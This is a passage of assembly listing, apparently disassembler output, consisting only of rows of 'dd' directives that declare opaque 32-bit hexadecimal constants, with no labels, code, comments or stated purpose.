		dd 1CD0FE79h, 6D5A18C1h, 1EED6092h, 23B77099h, 3F141D2Ch
		dd 0C559FFC1h, 0FFE90EF0h, 0E9A465C9h, 6FC187DBh, 600D18B9h
		dd 0E8AAAC2Ah, 0CDDA6188h, 0B2E76090h, 5BEFE91Ch, 0CD5EA622h
		dd 0A7017E16h, 8BDC7019h, 94141803h, 755C9D17h,	34A9AC85h
		dd 0C607AE69h, 0C27F7C89h, 46846A1Dh, 99B22094h, 0C650DF3Eh
		dd 0C1BF7CD2h, 46BD8B1Dh, 7981B51Dh, 0CB31F6A2h, 0E16EE18h
		dd 5208DD10h, 0BDA29BEDh, 0CA30ACBFh, 6A6BFEDFh, 0C424DF19h
		dd 62C77C03h, 40C9F53Ch, 87C3FECBh, 623C5775h, 0AA47675Bh
		dd 396621Eh, 8D45A787h,	75B85C6Ch, 2600A5FCh, 0A6AE7FA1h
		dd 9B27C15h, 8EA3C49Eh,	8622590Ah, 0E1A27D27h, 0F93014DDh
		dd 0F5215CAEh, 0C6324535h, 358572ECh, 0C4D97ECFh, 80BE19CFh
		dd 703DDEF2h, 69FDA068h, 0C620D4FFh, 0A6AE7D56h, 1CB407DDh
		dd 5B55B5DDh, 4721EDC1h, 0A9EEF022h, 9BDDC3B0h,	0F45D873Dh
		dd 942CC4B9h, 91EFF819h, 0F3A8C448h, 34B5801Dh,	0A334626h
		dd 8CA7203h, 27EE1C77h,	0DE8368A2h, 595873CFh, 5928990Bh
		dd 5E8945FAh, 2D6FAD39h, 67DCAE76h, 8D9260F3h, 0CA2D19C1h
		dd 5927DCA7h, 9BFD5977h, 0E28C9803h, 5161D58Dh,	6DD9D00Ah
		dd 7E5B6616h, 0CD4A7FE3h, 6E08F2D4h, 0ED30DEF8h, 0D73DF2D4h
		dd 84F3B277h, 7353E74Bh, 0B77C7E02h, 5C18BE4h, 0C5AFD03h
		dd 470AD7E4h, 0A0EAB914h, 0C4E307AFh, 34858CE2h, 4C41350Bh
		dd 4CFD38EFh, 299C2BA0h, 44ED8055h, 0EE8B48D9h,	77EA13ABh
		dd 71E6E0CDh, 27123D00h, 84008F65h, 0CB21BD10h,	0C12018FCh
		dd 4E14ED84h, 95A82B25h, 0B7B404B5h, 75DDAB3Eh,	6377C84h
		dd 0B86C76DEh, 6A70FDDBh, 50DA72A4h, 76B0799Bh,	2E978794h
		dd 0C51D2881h, 0A71DB92Bh, 0ED0911C6h, 1D1711AAh, 863B436Eh
		dd 0CCB8EBB4h, 716A75CBh, 46858ADDh, 0A85AC0F5h, 0F6D597AAh
		dd 13E8078Bh, 25828D40h, 94DC2655h, 9C29048Eh, 7B6B741h
		dd 879BACCBh, 0B1F071EDh, 57179290h, 64A0E8Ah, 3E21B28Eh
		dd 0E77AFAF3h, 8E767329h, 0CA369B56h, 892B915h,	735264FCh
		dd 46A0279Bh, 0EEB114D7h, 0A5E0AC9Dh, 76DD72E2h, 9F930A03h
		dd 0DB2A637h, 805CDAB1h, 3B1EAEE1h, 478B56ABh, 9E933924h
		dd 0B92837DDh, 51AE0230h, 97418635h, 712EF461h,	0CD8266F0h
		dd 0CE062028h, 2DDD8399h, 0EC5E6B63h, 0F5370619h, 0B8A6DC4h
		dd 0CDF2B86Eh, 0B7AAFC4h, 5B18E4E8h, 75B2D0FAh,	7821B2CFh
		dd 58A2679Dh, 1738D0A1h, 0E0D0A7A0h, 42016429h,	7F1F966Bh
		dd 0F76DF928h, 93C61198h, 0D189413Dh, 0FF564702h, 4BA1324Fh
		dd 89C4F4F5h, 80C812E1h, 0DBD7D364h, 0E75ACCBCh, 0F8F8F243h
		dd 0EEC93579h, 33FFF4AEh, 457EF62Ch, 0C0A65C2Dh, 0FDE8EC22h
		dd 4DDC0A16h, 0FEBE5D1Bh, 0E9E2791Ah, 0CDD8DB11h, 0C3242D97h
		dd 6807E089h, 0D656E10Ah, 3D856C94h, 31F04869h,	5762D626h
		dd 0FA513032h, 0E83E131Dh, 4B2FF221h, 6AD5AD00h, 453EA4Ah
		dd 0FA028371h, 484CCE2Ah, 0DE503586h, 1CB2CC83h, 0EE9FA389h
		dd 41CBC5A2h, 71EDCFBAh, 0CC36DC92h, 2983D689h,	5612B1C2h
		dd 0F853A9AEh, 885B61A9h, 1D50DC6h, 74A19B25h, 6CC4B1D4h
		dd 86DB60DBh, 8793B0BFh, 9967A001h, 0D32EDCBCh,	85211726h
		dd 1FEF461Eh, 0FB05A337h, 254A426Eh, 2E512E79h,	2C9B3070h
		dd 0EDFAEE8Ah, 0F4E172F3h, 7D3FD201h, 0FA8C29FBh, 1092D407h
		dd 4E145E04h, 0CDEC69A4h, 0B7F52615h, 0E6DA3021h, 50A22D0Fh
		dd 0CCFEB3D3h, 0B0099DC5h, 5D903E8Ch, 266C1EC7h, 1724A28Bh
		dd 0FE2E0917h, 68A3E209h, 0D76A6875h, 0BF4550DAh, 0C817A622h
		dd 0A3365C31h, 6E1F3931h, 1F8608C8h, 0DCFB0DA4h, 0A9C8A8D6h
		dd 0DF7D4204h, 0AA1D1A94h, 19EEDD96h, 0AE201BEDh, 3E9B1980h
		dd 42FF2117h, 5995A0DEh, 0ED93BEC0h, 0B84FF080h, 0FCCE63F1h
		dd 0BB860E1Ch, 0EDD456DDh, 52F68EDCh, 7C6EE0DDh, 2222292h
		dd 0A7C69D1Dh, 67BD21D2h, 45AFDC9Bh, 65659E3Fh,	0FCA8E214h
		dd 44FDCC86h, 0D05E73CFh, 0E6C95670h, 0A49EE4Ch, 0BC4A2B32h
		dd 5A0E6631h, 8BA33521h, 0B5D61BF7h, 2E0491ADh,	6B9ACCF2h
		dd 0E547810Bh, 0EAF6DD6Ch, 6E14EFD1h, 27E42EA2h, 4FC49D94h
		dd 13D89E34h, 0CD0EE3D4h, 10005014h, 4A235321h,	0A3125C98h
		dd 1D5F7C3Dh, 0BD7C6FC0h, 7D40813Ch, 884286CCh,	791C2D11h
		dd 5B28616Ch, 0AC0C2737h, 0FDF0E5DFh, 10AF0097h, 24D82149h
		dd 48D88E2Dh, 0E58F5E35h, 21D19FB2h, 1B381DC5h,	0CD238753h
		dd 0E888B4CBh, 81EF517Bh, 0B8487ED7h, 0A0896FEh, 9FCEA4F8h
		dd 17FEA41Eh, 6DE7A57Ah, 0DEC4E87h, 0CFCF0FDh, 8BF6EF2Ch
		dd 3D03D7E4h, 0DFDF85FEh, 0B53C064Fh, 5FA08CC6h, 1859F5FDh
		dd 51694659h, 0C12D0E8Dh, 80DBCBC8h, 0CCE0BF4Ah, 4311CC8Bh
		dd 1C26D8C4h, 0B55F791Ch, 0A22BDB7Bh, 4378A9DEh, 4023E465h
		dd 0E0A7E39Ah, 0A7F0D520h, 0D98C5B53h, 0DBA5DAEAh, 5393F928h
		dd 2DFB6BF8h, 0C2F85C9Ah, 0C4CE1A94h, 84ACA759h, 0F22D2776h
		dd 864B5A9Eh, 0E6688C36h, 575B6596h, 0F6DD8371h, 0E1BE0699h
		dd 0EC7AECF5h, 68E0EADDh, 2C40722Fh, 0A1E51BA1h, 774054CDh
		dd 0A6A6E189h, 34273B99h, 0B29F31E2h, 0A7F5FBE3h, 3388A26Dh
		dd 8C39492Dh, 0C5228656h, 4E307364h, 4D41E4DDh,	0BDA26D09h
		dd 4DDA626Ah, 0F45508B0h, 8BED6E94h, 57E0CD5h, 0BE21A055h
		dd 0FDADAC7Ch, 6E590FD1h, 0E02282CEh, 8AA2149Fh, 44E89C98h
		dd 0BE5EA0FFh, 451F0285h, 0E8B7371Dh, 0FBE414A4h, 0A821CA0Eh
		dd 1550DE4Fh, 0DEA9E605h, 6ADB6D83h, 7A14C7DFh,	0EE60F287h
		dd 919033A7h, 51C4EA91h, 8227480Ch, 0E9874A55h,	44B4600Fh
		dd 0B42A611Ch, 8ED4619Bh, 79549883h, 104BECC9h,	8689CBC9h
		dd 0BD91D693h, 7DD8060Dh, 1D1BC0E2h, 4C34A13h, 9E5983E3h
		dd 87240AF1h, 23EC0A76h, 0A4033232h, 0F3044731h, 709044ADh
		dd 4E2DE08Fh, 1B489DC9h, 0E0D3E1A1h, 9FA27DCBh,	1FB16C75h
		dd 9D03E8BDh, 81570CB9h, 5ADEA34h, 0EF22F05Dh, 54533CB8h
		dd 0A67D1FDFh, 4D5AFBDDh, 0B53D4689h, 6C9CAA49h, 0EDBE89CFh
		dd 4FEE54Ah, 0CCD225DEh, 0DC1A8C3Eh, 52ABE3F8h,	0E894703Ch
		dd 81E65467h, 4BF4AE4Bh, 168CB348h, 4358FD88h, 3C85B391h
		dd 7F54811h, 0D727B095h, 6235DF58h, 2A3A85CFh, 57F08C47h
		dd 11F752E1h, 0AE00DBBEh, 7C75D08Fh, 0E211FA77h, 0FCBA1035h
		dd 9338BE0Eh, 0C32E9131h, 0E4231B30h, 0E00EB033h, 8927A0D1h
		dd 2D7A1ED6h, 0FD28DE57h, 0A716E7CBh, 8E04FE97h, 0E298B7B2h
		dd 5735B0D4h, 88576695h
		dd 0BD5D1CE5h, 0E877390Bh, 2DE4B67Bh, 0E3BF7A99h, 8571AECAh
		dd 91ADC2Dh, 0CC2E86AFh, 89E8D6DEh, 1ED855E7h, 8A69B1F4h
		dd 7C478131h, 8E784829h, 5448098Fh, 0BBE3DC4Fh,	9A0DC7DFh
		dd 665B523Dh, 5F24E06Ah, 0DCEBA716h, 827EDDC5h,	0A8153E3Bh
		dd 50E961C5h, 0C889851Fh, 440ED391h, 25CAB57Fh,	927380CEh
		dd 75BC0D94h, 0F5F88480h, 837AFADCh, 0C53E7D99h, 0CF418B35h
		dd 832E64C2h, 4D7240C1h, 863EFA6Ch, 0BBC7F880h,	0CC0F1239h
		dd 0C105D5EBh, 840B2C99h, 0AB38F008h, 7B3EF13Bh, 0B1DB41F1h
		dd 87F0E0F7h, 99763EDDh, 0CE9D9685h, 0F0DD6277h, 87D612C8h
		dd 8DA4D1BFh, 0C06588Fh, 0C9792FAh, 14A368F8h, 935C1C77h
		dd 0D7D3895Dh, 0FD3CF6AEh, 79BB8DD0h, 8D1936A6h, 0C50577C9h
		dd 4226CD19h, 0C5BB1FBCh, 25274EA9h, 94C0E0A7h,	0F4873FBEh
		dd 0A576A93Eh, 0FF3BF051h, 0FBC72B3h, 6BE69C17h, 0FE044EB7h
		dd 899417DAh, 0D5C52D21h, 0B35D905Bh, 0CBE4304Ch, 0C5BA2DFCh
		dd 0D54F29B2h, 5B2101E5h, 25F7959Dh, 2ED2A3F9h,	0B25B978Dh
		dd 0ECED4CD5h, 0C67C51CDh, 40E1EE3Ah, 4CD7C089h, 4BEA0ABAh
		dd 84AF977Fh, 6FF4EE2Fh, 29C47CDh, 7F485D27h, 51C35CC9h
		dd 0D841DC21h, 2372C390h, 24DAB01Dh, 4A320F50h,	4E0765B4h
		dd 0B6111295h, 0F9E287E1h, 0BBE03CD5h, 0A621E57Eh, 0C5F96193h
		dd 839A3495h, 0BEFB9D4h, 0E22062B6h, 5FDEA631h,	0F5B2B597h
		dd 0B61EACB9h, 5EEA46E1h, 0CFA8A5E6h, 0B0909C94h, 0FA024FBFh
		dd 0BB41645Ah, 9CEA9FE1h, 0D27AE6E2h, 0DB1B8B90h, 8A738294h
		dd 4830E055h, 0B48D296Eh, 0A226643h, 75896322h,	4F1B36B1h
		dd 0F042FF42h, 0AC1148FBh, 0CBCEEFFFh, 0E88EF468h, 0C6370929h
		dd 0BFC3BFFAh, 175AE19Fh, 0C23DB497h, 79F2CC82h, 1E376ED0h
		dd 85534B4Bh, 0B05ACF7h, 793C45BEh, 2FD52715h, 48EDEC65h
		dd 0BF35D27Bh, 713BFBF8h, 0B719A861h, 0F769C9C7h, 0A4DD5A14h
		dd 0F441F992h, 3BECC019h, 0F22BEF42h, 0F0259419h, 0D7D1ED6Dh
		dd 57A74D99h, 0C0FAEC16h, 2C7E661Fh, 0F85B99C8h, 42F0C547h
		dd 1DDE6891h, 0CBFCBDEAh, 114F077Ah, 24E85E94h,	70575017h
		dd 57FD5F20h, 48621E09h, 5778858Dh, 0DAAF7D1Eh,	931CE04Fh
		dd 0BA209875h, 0F096FE39h, 48E42C0Ch, 8585675Fh, 55A4E1C2h
		dd 0AE1DFEA1h, 5990BF6Fh, 194D52FCh, 9D3535AAh,	1E6F9D5Dh
		dd 429F73E3h, 7AA6344Ah, 0C1185336h, 0D67AFF31h, 0BAB75658h
		dd 58E41EADh, 1F8F6556h, 472A4629h, 0F5A65916h,	0B8610285h
		dd 0C25A9CD5h, 24DCA582h, 0A8C0C275h, 563EE7Dh,	554173D9h
		dd 0F1EFA79Ah, 0C6E90EF6h, 0DB1E642Dh, 0EDE20B0Dh, 1D1538DCh
		dd 0D7EBEAC3h, 0FB97B6DDh, 0C7BCE6CAh, 49C3EEE3h, 7B843F3Bh
		dd 0FB3ADC4Eh, 1C51D53Eh, 7E582B85h, 1627F969h,	9A434583h
		dd 0A1BA4754h, 0F59A877Ch, 7AC7A4E4h, 9259A03Ah, 36ECA9DEh
		dd 8CAB94C1h, 6204B63Eh, 1D9846FDh, 2DDC7F60h, 0D9F803EBh
		dd 9CE1D195h, 0B728C91Fh, 3B93649h, 9E887175h, 3F592132h
		dd 0C3792C26h, 0EA206308h, 0D4E618E3h, 9B001837h, 8A2EC366h
		dd 205D0416h, 0E13CDA5Eh, 796BF914h, 204D4980h,	0B1999C95h
		dd 7354F85Bh, 59E3FA70h, 0EEEF5A1Ah, 0C5E520B2h, 4AF01BF9h
		dd 8D1B8B57h, 0BD3DC937h, 800E26C7h, 0F61A2CB2h, 8D93E216h
		dd 85A7E716h, 8F372B11h, 130F6D1Dh, 4AF2AFA7h, 2DEBE576h
		dd 0DCD83C28h, 6D7954A6h, 0EA5CDBDDh, 773B55EEh, 0BF3AF650h
		dd 1AB71EDEh, 320E9B32h, 24EA2EE2h, 8EB7B9Eh, 0BB16A024h
		dd 32353D83h, 668F2032h, 0BBEE585Dh, 6878651Ah,	23837CDEh
		dd 58BB37DDh, 0FCFAEE39h, 1CEB68DAh, 0F439A5C9h, 0FBE9744Dh
		dd 0D315A9D5h, 48AB3B5Fh, 0BA83F41Dh, 96ADE76Fh, 5A455903h
		dd 76DC6FF7h, 9BDD6DB7h, 0DF9EB8D4h, 8BECA131h,	95169124h
		dd 84CDC21Dh, 5C8C6D9Ch, 93339D71h, 4E342D57h, 92B86CDAh
		dd 5A7C86DDh, 784E71FAh, 9334060Bh, 0F6CDECC6h,	0F661A3DDh
		dd 34C76C95h, 89A12716h, 7FBF203Ch, 4925D795h, 4BC730FDh
		dd 6B6C604Dh, 3B315EB6h, 6ECB799Ah, 7BE02887h, 5E7174CFh
		dd 86C2A8E7h, 0C50285B5h, 0D2306253h, 0DA5AC4DCh, 0A5B79CE3h
		dd 39C2C67Ah, 80A5DB32h, 4B7698FDh, 0C44B2184h,	0D290E8CEh
		dd 0B9A6A915h, 49C5E3B8h, 0C0BA9857h, 56CD6320h, 2E5DE10Fh
		dd 55C9C5A5h, 3E41D495h, 0B6C8512Ch, 0AB31CB03h, 0DF3B942Ch
		dd 55809D46h, 0CAD473A3h, 0DFA749AAh, 2CC82F82h, 5046727Bh
		dd 76355361h, 4DA42180h, 8BCC6374h, 57349C7Dh, 75273010h
		dd 0F2239E1Ah, 3E3E3960h, 0ACA39C9Eh, 413D286Bh, 8E4CD43h
		dd 7B2A8E3h, 2DC5E5F3h,	0B81C9CA8h, 15973D9h, 62DD6B7Dh
		dd 54A5271Dh, 0A712B914h, 0E812603Fh, 7BD1841Bh, 14F369DCh
		dd 1568E9h, 7FA7A14Fh, 4D0D2FA4h, 7EEB5E8Ch, 0BAF988D6h
		dd 8839A1D3h, 771360E2h, 0C0D9159Fh, 7A1F331Dh,	0EF98E933h
		dd 0B434BC35h, 4A37EBFAh, 0C6D10AFCh, 2A8EA955h, 3B2E0DB6h
		dd 774E7137h, 1D514800h, 0E1A3CF3Fh, 74A4EE1Ch,	4A3A8FEEh
		dd 93D27A2Ch, 2E074C55h, 345D2B33h, 0E30FB43h, 7E51D08Ch
		dd 0CBE6DBA3h, 72699B5Bh, 0E2996611h, 51C96935h, 0EE7C42C4h
		dd 0DDE9902Eh, 4BA2E9ADh, 0D9D5B728h, 0B7462173h, 9F186BDEh
		dd 4F65DEEDh, 2885F023h, 2AEBA1D9h, 4FE4883Eh, 0AA5E9C46h
		dd 9F6F42B8h, 15A6AA0Eh, 9BA75635h, 2D4AC113h, 0F5D6A8B2h
		dd 0BA072AA0h, 27E49575h, 0B5BC5067h, 80B8E6h, 1DE1224Ch
		dd 1E04AC95h, 28F07F8Dh, 0C2CD4DF2h, 36649D74h,	168C158Fh
		dd 0C4E2AE71h, 0AB8BEF08h, 94C4AAA3h, 0E7DDAA75h, 65C7D064h
		dd 81B3AC50h, 0FB1124D9h, 5012F03Fh, 66A5AE96h,	1CF786C5h
		dd 0D55D5CC8h, 9CC355h,	8EEA4121h, 0D54CE9h, 0D3E4C287h
		dd 60F78048h, 70E5851Fh, 0DE85693Dh, 6E4622C8h,	0A90ECE49h
		dd 0F385C6A9h, 9B62BB91h, 83ED6DDh, 479D8EA9h, 4AF095B2h
		dd 777AC84Bh, 8B2FD5Ch,	0FA1C4C94h, 4010F175h, 31232074h
		dd 99D97A68h, 7BF3420Fh, 24DFD4C8h, 0F969EA8Dh,	58A456FFh
		dd 71D18708h, 0AC1C92C3h, 0BB02B890h, 23EC81E7h, 531048C9h
		dd 8DD68D2Ch, 0EA3064D4h, 85511921h, 0F6AD17D5h, 5680EF92h
		dd 0F9D36D37h, 84EF5896h, 4B9E45Fh, 3EBCA056h, 0A500AD9Bh
		dd 1948F925h, 2DF5B0A9h, 0B3B2966Ah, 6DE09C12h,	0BA42EBAAh
		dd 596C7E3h, 29E66B1Ch,	9A9F6212h, 72500B74h, 9E6DD48h
		dd 0CE1A91C6h, 0EA7A1B5Dh, 8DA19384h, 0A2AF947Fh, 80DF78A7h
		dd 0A2888F01h, 362A5F2Bh, 51D4E829h, 0E6E9B1DFh, 0EB593910h
		dd 0E2210117h, 0E79400Ch, 39C6E8CEh, 5A3A00DDh,	0BBEF749Ch
		dd 0C8304483h, 90A84775h, 6A61BBDDh, 0CEDF6DBEh, 8FDA4875h
		dd 0D4C2C7A1h, 27E0849Ch, 0EE2E97D9h, 0E325F88Ah, 9ACF9767h
		dd 22569529h, 2FFD3E7Bh, 0ABADC3D9h, 5AA065A9h,	9F7A184Fh
		dd 8926F330h, 8CF41314h, 2C731082h, 415ADCE6h, 5DC0190Dh
		dd 0AD9A1ECEh, 0ED5991B4h, 54F1ED10h, 53E0BC58h, 5068E8DFh
		dd 256EEF8Ah, 8A953917h, 29262180h, 3393926Eh, 5FEBC46h
		dd 0C19D9EDAh, 0AD9C67A1h, 4800887Bh, 2BFDCCEDh, 0EE3C6634h
		dd 0C3115A7Bh, 2BC33FDDh, 0A3E5595Dh, 8C9D6017h, 0C3E3429h
		dd 0F47AE4C5h, 333A97F4h, 0A48BAF86h, 0A3FEBF42h, 0ED14FB0Fh
		dd 0A9FECE1Bh, 9810E3FFh, 846ECE26h, 9565C89Dh,	645473DCh
		dd 0EC0D11F1h, 18213044h
		dd 0C9A95E8Ch, 1DD9B214h, 25469ED8h, 62A719FCh,	0A6C23A00h
		dd 8262CE99h, 0A450FC72h, 5D4FE257h, 0F1476422h, 101F91BBh
		dd 0E2C7B571h, 0A9426A07h, 3BA1E638h, 3E15DD1Dh, 102E82BBh
		dd 45E520B8h, 463002CFh, 71C29B31h, 6FC353C9h, 3B7AA016h
		dd 0F4D36AFAh, 7DADE5FDh, 0BA12C923h, 0BBD11D37h, 0C610BD35h
		dd 36BAE3DDh, 0E092F82Ch, 0FD7DFB02h, 13A125DCh, 0DB0651FEh
		dd 54353C02h, 39EE1CC0h, 8BBA42DFh, 6AF1C92Bh, 5612F212h
		dd 0F60A9137h, 4C34E7F8h, 11561FD5h, 0DF261204h, 38C05CF5h
		dd 0CCA419F0h, 3297464Bh, 0CE471F88h, 9D50182Ah, 0CBCAEA0h
		dd 91D46453h, 0B17E64Bh, 49289B94h, 2427B789h, 7FEDD8EAh
		dd 5DB7FFB3h, 8C2494DFh, 6C4D3758h, 0F1309D81h,	4E222789h
		dd 0E9A5BB80h, 78F75819h, 0CC7A9716h, 6A996F81h, 185EEF67h
		dd 0EB8683BCh, 413DE6CCh, 8A253A42h, 0A4ABAF85h, 9CD0BA56h
		dd 40C4AD40h, 0C1291AA1h, 5A3567B6h, 0CACFE738h, 0B5A6F0F4h
		dd 0B08038DFh, 16ACC286h, 61BD7C5Fh, 0D9EEC110h, 532745A7h
		dd 7DFAC783h, 9A47E303h, 200DECCBh, 6ED6E891h, 1BC3E138h
		dd 8D9EF5E8h, 79894FFDh, 5ED8C6FEh, 914F5FD2h, 0F23AD8FAh
		dd 8DDED379h, 4318F696h, 4C0ED8D5h, 1CB04026h, 4359EE1Ch
		dd 918E5198h, 8D2F58D5h, 6BE02523h, 91CDA49Bh, 813CF6BEh
		dd 0D73DE242h, 3B00E13Fh, 1F75E8F1h, 3769F944h,	0E1DC2759h
		dd 8F805D2h, 0C9545E86h, 69625BDAh, 3CE03CFCh, 0FB14A6B6h
		dd 0AF0D363Eh, 0E23CC9B1h, 9EE83833h, 0F59A9C59h, 9DA91D87h
		dd 2C0D1CE9h, 98790FBEh, 696C1DD5h, 0D4E4D354h,	7922D3D0h
		dd 0CB274FF9h, 0ED811D25h, 4BF470A7h, 84C8BB2Dh, 185EBC43h
		dd 4C83A1A8h, 0C8018B3Bh, 5DA63912h, 0A4F6FBCAh, 0C65940A1h
		dd 27CB2775h, 0C6223F1Dh, 0E8DE8D51h, 4897A4F9h, 0BA328CB1h
		dd 79CAD175h, 44218F80h, 50B49701h, 3405D12Ch, 94EFCEA1h
		dd 76188DC5h, 8B9403D2h, 4FE0FDADh, 9ECA0D75h, 4BAADCDBh
		dd 0FA00391Fh, 0A51A92Eh, 7A1FBF39h, 0D7A6A271h, 820F6539h
		dd 0FC0AEFAAh, 287AEE09h, 0EC4C7EF8h, 2DF1A695h, 0B60A8E70h
		dd 492E54BFh, 74FD3631h, 0CE28F8CEh, 74BF3919h,	24896F92h
		dd 87268EA8h, 222135A8h, 0FDFEFFA0h, 0F90D5D2Fh, 81EB3918h
		dd 0BC7D7DA3h, 74AC4C3Ah, 0EE45BB7Fh, 34AD48C8h, 59469B3Ah
		dd 26F5A9E5h, 6E868C5Fh, 0AC7AE6B2h, 2D3E00FCh,	5EA03A79h
		dd 0F7840F01h, 4351F3AFh, 0DA994E57h, 2E89871Ch, 0CD93F308h
		dd 6C2F5034h, 5EDD6E88h, 0CDF69E5Fh, 17355F5Dh,	2B04807Dh
		dd 0BB203Bh, 0DE17C4F5h, 0D5137BDDh, 0A500872Ah, 0F9967D4Ch
		dd 0BEFC3247h, 80306F0Fh, 1BD71CADh, 0A5729B6h,	0A33921A2h
		dd 574D483Eh, 0E29E3C4Ch, 3DF0D34Ah, 901C8B1Ah,	0CB67A272h
		dd 0EAD61011h, 3ABF1217h, 8446ADE4h, 95EC6FDBh,	0D316130Eh
		dd 84839535h, 921E8D38h, 185EB564h, 0D9E093D2h,	0C53C3ED5h
		dd 9D96AD2Dh, 0A186AAFDh, 0C41D605Dh, 0E17454F8h, 0CBDFB2CCh
		dd 0A26127C4h, 0E4AD9B5Ah, 948C67F1h, 89FB3818h, 0C4D8422Dh
		dd 657D4EEEh, 219808DEh, 0BB17AEB2h, 133076B7h,	709D05FDh
		dd 1631BE69h, 0A0F2E7FDh, 84085682h, 48C00139h,	0EACD1815h
		dd 0BBE2E7BAh, 4EDACCE8h, 4CD25A09h, 0ABB04A7Eh, 4D2CA036h
		dd 2553CC77h, 0C6666050h, 78EEA00Ch, 65F4EC91h,	95E7E79Fh
		dd 701D5041h, 0C24FBEFFh, 23EDEEF8h, 0D905ED16h, 0BD10B19h
		dd 23860DDDh, 3F3EF8ECh, 71AAD34h, 0C65F16DEh, 37F62475h
		dd 8BCED1C8h, 106147D9h, 0D45E5833h, 6D5371B1h,	2419C434h
		dd 0AF267F0Eh, 9431FF23h, 0C69FAF83h, 0A9C0FFE7h, 89318242h
		dd 0E989559Ch, 0B1D37189h, 0BE5D8694h, 6FDDA95Bh, 3F646D2Ch
		dd 7E0D04C7h, 555408E5h, 90BEEA80h, 424A1440h, 39A6E7F8h
		dd 72F907F7h, 58999A94h, 881BC1C7h, 0CFA27939h,	699AAC5Dh
		dd 0C0FAF6C9h, 2D23E08Fh, 7B802FCEh, 0C368AA7Fh, 9B073839h
		dd 0C8D88A9Fh, 2A27121Ch, 9C199525h, 8433AB09h,	30476FCFh
		dd 0C15EB74Ah, 8C9DE075h, 95F07A46h, 2DD4E51Ch,	8E3F84CEh
		dd 277A1E89h, 0D50AC0EFh, 0EA75DA75h, 0CCD27D19h, 3BE98451h
		dd 4BC3A3DDh, 9D2F633Ch, 25C6EC8Bh, 0BC3AA1A0h,	0A491471Eh
		dd 0EB808759h, 9EE04A3Eh, 451DCE24h, 68A667BAh,	3748ACD3h
		dd 0EAAECE84h, 8B8A4A4Eh, 0F90A7ED5h, 0F8BAFB1Dh, 0A7AB5E88h
		dd 25EE380Fh, 48BE640Bh, 2451B174h, 6E7A9B86h, 0E22A84A1h
		dd 0ABD8F8F5h, 93D3875Bh, 0F4D8BC71h, 57108383h, 5A3CEBFCh
		dd 42F83174h, 22F0ECDDh, 88B66574h, 4BFEFF79h, 0A51F38DFh
		dd 55C44882h, 0AC549CF2h, 763035A0h, 0E29DEE8h,	9CE5D827h
		dd 0A9393B39h, 0CDDC67DFh, 34A268DDh, 2C667FFAh, 0F8474700h
		dd 0A35F1910h, 46C70E05h, 0DDC73F95h, 4DA3865Dh, 71C18642h
		dd 0A11FD125h, 21573820h, 760FAE84h, 6EFCAE99h,	8BA79C1Fh
		dd 94148685h, 0F8EB7EEAh, 99BADC1Dh, 0A18C5E88h, 0F0563808h
		dd 55D681D8h, 0D4B1B3E2h, 0AC8C14E2h, 0A2D222EDh, 58C0FF0Dh
		dd 0B1A16225h, 0E5D4B854h, 5A541878h, 1E647385h, 0F889E042h
		dd 3BCA728Bh, 0CE04AB3h, 0B7D2D13Bh, 0D5E2494Eh, 3604C548h
		dd 0DCA7AA0Fh, 0BFA7994Ah, 2349AE67h, 43A7C67Bh, 123A3695h
		dd 432B1071h, 2DE1D5D2h, 0D0C6501Eh, 0C61A3772h, 42698D34h
		dd 543A69D9h, 0F3CF748Bh, 0F776F343h, 8627F32Fh, 0DFFD3D75h
		dd 40F708Ah, 5D8F531Dh,	59459C0Ch, 4E9FB880h, 16F391Eh
		dd 9940B16h, 4A2ACE11h,	0AC1EB035h, 0D84B677Dh,	4CF4D092h
		dd 0CFB07343h, 43310E93h, 0E0A5D5DAh, 4175FACAh, 6A36B9BCh
		dd 0BFD9F4B4h, 128326C6h, 55C0EDDFh, 7EA2669Bh,	0EED79894h
		dd 7DC72194h, 7964F23Fh, 2E26189Bh, 2314BBD8h, 0D3FAE61Fh
		dd 0A18E8775h, 490DE16Eh, 0C38673CBh, 8F9551FEh, 0BAB1EA8Eh
		dd 4E0F3DAh, 0F613ABE2h, 7E561FD5h, 43D880D9h, 411F398Bh
		dd 0D1A02083h, 0B77B7FCBh, 6C13DCAh, 0E67AE3F9h, 0AE9AB8B3h
		dd 0C6D08EFDh, 0C0B04640h, 0BF4D89Ch, 4B09D9Fh,	31AE6297h
		dd 93AA6ABCh, 2A17D592h, 0C336FA4Fh, 9FF1BC95h,	41B06EA6h
		dd 0F617AEEBh, 4E28D93Ch, 9ECD27B4h, 36140C28h,	6FA11254h
		dd 403F34CDh, 6BB6DEF2h, 0A88EE0F1h, 0A715A892h, 3F5988Ah
		dd 0FA79EE7Bh, 2CD147EAh, 0E3814FF7h, 0CB10FEB3h, 823C057Bh
		dd 0D079A6CCh, 6E51D2C1h, 0F9AC2C90h, 0F6D5B2C7h, 0B1983F72h
		dd 0D608B874h, 0E9D6904Eh, 0BBAA1D1Eh, 0F4448C42h, 87F8ED3Fh
		dd 0CFFAC408h, 4A15C309h, 6B5A1034h, 0C119BA9Fh, 55022D37h
		dd 0CFC7513Eh, 2279C694h, 0C453E3F2h, 0DB06FC0Fh, 0E62BCDCBh
		dd 0EFE2B462h, 0A03A1E7Eh, 0C6AB1BFh, 818FD56Eh, 15903B5Ah
		dd 59BED1F8h, 0D4E657FDh, 0E63F5E6Bh, 85F7F81Bh, 0E223F073h
		dd 0F9AB18F7h, 74DDC15Ah, 72DB991Bh, 0B3C9D1ACh, 0ED707216h
		dd 0FB86DBC4h, 0B9F5EC97h, 5CEC2782h, 5F5C439Dh, 842DF8D9h
		dd 96EFDF8Bh, 65AA357Fh, 52B51C94h, 0E890F0DDh,	701B2902h
		dd 50EB9EEFh, 0A5B4AD1Ah, 0A3C0E6F9h, 847C691h,	5D086BA5h
		dd 9B15C239h, 0BB1F93D6h, 5990AF95h, 3A45AD3Eh,	34581801h
		dd 0AE2411FEh, 0FB973AF7h, 88C0AEDBh, 94629374h, 8041F7B7h
		dd 0F7B84A75h, 35AA1374h, 0D5F87159h, 0D79DF653h, 4DA162F6h
		dd 0ABBAA181h, 0AE305678h, 969B236Fh, 0DFFF9E15h, 23513298h
		dd 601E2E09h, 7A3900C5h
		dd 760542C5h, 0C3E2A645h, 0EA1B393Dh, 0B49EE9EEh, 0C6F2BB6Eh
		dd 99FE5A49h, 0DB9113B6h, 89260CA0h, 87CB64A7h,	0B273D5D1h
		dd 17AE406Fh, 192BC6EBh, 0F62F8801h, 4C6341h, 55DE95BEh
		dd 778D13B6h, 0CBDB8085h, 70A36623h, 0D6F715D9h, 0EE10B987h
		dd 139FCC49h, 0BEEC643Ch, 3980D2C5h, 0BEE7AD35h, 0C5A0C34Ah
